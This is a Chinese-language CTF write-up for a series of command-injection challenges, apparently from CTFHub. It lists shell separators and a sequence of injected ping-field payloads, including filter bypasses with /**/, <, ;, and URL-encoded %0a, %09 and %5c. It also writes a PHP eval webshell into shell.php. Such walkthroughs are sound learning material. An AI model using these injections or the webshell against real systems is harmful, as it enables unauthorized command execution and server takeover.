文章目录
在开始之前我们进行一些简单的了解,其实我也是做题做到后面才发现一些知识是必要去掌握的????♂️????♀️????♀️????♂️????♀️????♀️
知识点-这里最好了解一下
RCE分为远程命令执行ping和远程代码执行evel。
漏洞出现的原因:没有在输入口做输入处理。
- 我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。
- 一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。
- 其实这就是一个接口,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统,这就是RCE漏洞。
其中对于不同系统的命令指示又有着不同的命令符:
对于Windows系统
1. “|”:直接执行后面的语句。
2. “||”:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。
3. “&”:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
4. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
对于Linux系统
. “;”:执行完前面的语句再执行后面的语句。
. “|”:显示后面语句的执行结果。
. “||”:当前面的语句执行出错时,执行后面的语句。
. “&”:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。
. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
命令注入
既然提示输入IP让我们输入本地试试
127.01.01.1
得到显示后,尝试得到该路径下文件
127.01.01.1&ls
获取文件内容信息
127.01.01.1&cat 120731029228103.php
没有结果,这里可能是文件中包含特殊符号,使用管道运行base64加密内容
127.01.01.1&cat *.php | base64
尝试base64解密
这里还有第二种方法,利用命令执行写入一句话木马
127.0.0.1 &echo " @eval(\$_POST['a']); " >> shell.php
因为环境问题,昨天还可以今天就不行了,但是方法是可行的!????????
过滤cat本文开始前先贴出一些小知识:
linux查看文本的命令
-
cat
由第一行开始显示内容,并将所有内容输出 -
tac
从最后一行倒序显示内容,并将所有内容输出 -
more
根据窗口大小,一页一页的现实文件内容 -
less
和more
类似,但其优点可以往前翻页,而且进行可以搜索字符 -
head
只显示头几行 -
tail
只显示最后几行 -
nl
类似于cat -n,显示时输出行号 -
tailf
类似于tail -f
showtime
根据上题的思路继续进行
127.0.0.1
检索目录
127.0.0.1&ls
先试试cat是否可以使用
127.0.0.1&cat flag_30210295964775.php
好吧看来是不行了
试试上一题讲到的一句话木马上传
127.0.0.1 &echo " @eval(\$_POST['a']); " >> shell.php
得到flag
过滤空格可以使用/**/
或者<
代替
127.0.0.1/**/&/**/ls
使用cat进行获取
127.0.0.1/**/&/**/cat/**/flag_12333170278981.php
没有结果,获取flag文件下base64密文
127.0.0.1|cat<flag_12333170278981.php|base64
解密
解题思路:
1、既然’/‘
无法使用那我们可以使用cd 进入文件夹中
2、对管道进行使用base64加密
按照惯例对题目文件目录进行查看
127.0.0.1&ls
cd进入文件目录
cd 进入flag_is_here目录,
ls 显示flag_is_here目录里的内容。
127.0.0.1;cd flag_is_here;ls
进入该文件中获取信息
1、cd
进入文件
2、cat
获取文件内容
3、base64
进行加密显示内容
127.0.0.1;cd flag_is_here;cat flag_11328226429806.php|base64
进行解密
- 这里过滤了,
|和&
两个运算符,这两种运算符在这里是无法执行后面的命令 - 没事问题不大????????????????????????????????我们可以使用
;
分隔运算符进行命令
老样子,先检索目录吧
127.0.0.1;ls
这就把flag文本文件展现了出来,那就cat 文本内容
127.0.0.1;cat flag_14322672312813.php
哇哦,flag呢????????????????不要急,这次我们不用base64对内容加密获取了,我们来看看文件的源码,看看藏在哪
这不是出来了
由于对|
进行过滤了,直接对管道进行base64加密
127.0.0.1;base64 flag_14322672312813.php
进行解密
对于过滤情况的题,我发现了一个宝藏!!!
url补充表
接下来我们来进行解题吧
可以看到本题过滤了:/ \ & ; cat flag ctfhub
这些运算符
在本题中
1、使用%0a代替换行符
2、使用%09a替代TABJ补充被过滤的flag
3、%5c 代替 \(用 \ 来分隔开 cat ,因为 cat 也被过滤了)
检索目录
127.0.0.1%0als
进入到FLAG文件中
127.0.0.1%0als
这里%09用于补充被过滤掉的flag
接下看我们查看flag_324582491729512.php的内容信息
127.0.0.1%0acd%09*_is_here%0aca%5ct%09*_324582491729512.php
在这里因为cat被过滤了因此需要%5c将cat分隔开绕过过滤
查看源代码
或者直接对管道进行base64加密
127.0.0.1%0acd%09*_is_here%0abase64%09*_324582491729512.php
解密